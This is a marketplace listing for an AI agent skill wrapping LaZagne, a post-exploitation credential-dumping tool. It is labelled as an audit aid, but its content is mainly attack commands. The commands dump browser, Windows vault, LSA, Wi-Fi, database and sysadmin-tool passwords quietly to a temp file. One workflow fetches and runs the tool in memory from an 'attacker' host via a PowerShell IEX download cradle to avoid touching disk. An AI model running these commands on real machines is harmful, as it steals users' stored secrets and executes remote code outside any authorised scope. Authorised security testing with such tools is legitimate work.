# Lazagne

> Auth/lab ref: LaZagne secret-exposure audit; browser/app/Wi-Fi/Git artifacts, user/admin context, defensive validation evidence.

- Skill: `aeondave/lazagne` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aeondave/lazagne`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/lazagne/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: MIT
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/lazagne

---


# LaZagne

Post-exploitation credential recovery from installed applications — browsers, mail, Git, databases, WiFi, and more.

## Quick Start

```cmd
# Dump everything
lazagne.exe all

# Browsers only
lazagne.exe browsers

# Specific module
lazagne.exe windows
```

## Module Categories

| Category | What's Covered |
|----------|----------------|
| `browsers` | Chrome, Firefox, Edge, Opera, IE, Brave |
| `windows` | Credential Manager, DPAPI, LSA secrets, Vault |
| `mails` | Thunderbird, Outlook, Outlook Express |
| `databases` | MySQL, PostgreSQL, MSSQL, Oracle |
| `network` | WiFi passwords, VPN (Cisco, OpenVPN, WireGuard) |
| `memory` | KeePass, mRemoteNG, Pidgin |
| `git` | Git credentials |
| `chats` | Skype |
| `sysadmin` | WinSCP, PuTTY, FileZilla, mRemoteNG, TeamViewer |

## Core Flags

| Flag | Description |
|------|-------------|
| `all` | Run all modules |
| `<module>` | Run specific module category |
| `-oJ <file>` | JSON output |
| `-oN <file>` | Text output |
| `-oA <dir>` | All output formats to directory |
| `-v` | Verbose |
| `-vv` | Debug |
| `-quiet` | No banner |

## Common Workflows

```cmd
# Full credential dump to JSON
lazagne.exe all -oJ C:\Windows\Temp\creds.json -quiet

# Browser creds only
lazagne.exe browsers -v

# Sysadmin tool creds (WinSCP, FileZilla, etc.)
lazagne.exe sysadmin

# WiFi passwords
lazagne.exe network

# Run from PowerShell (in-memory if needed)
# Download and run without dropping to disk:
IEX(New-Object Net.WebClient).DownloadString('http://attacker/LaZagne.py')
```

## Output Example

```
[+] Password found !!!
URL: https://corp-mail.example.com
Login: john.doe@example.com  
Password: Summer2024!
```

## Resources

| File | When to load |
|------|--------------|
| `references/credential-sources.md` | Module details, DPAPI decryption, browser DB paths, output parsing |

## Structuring This Skill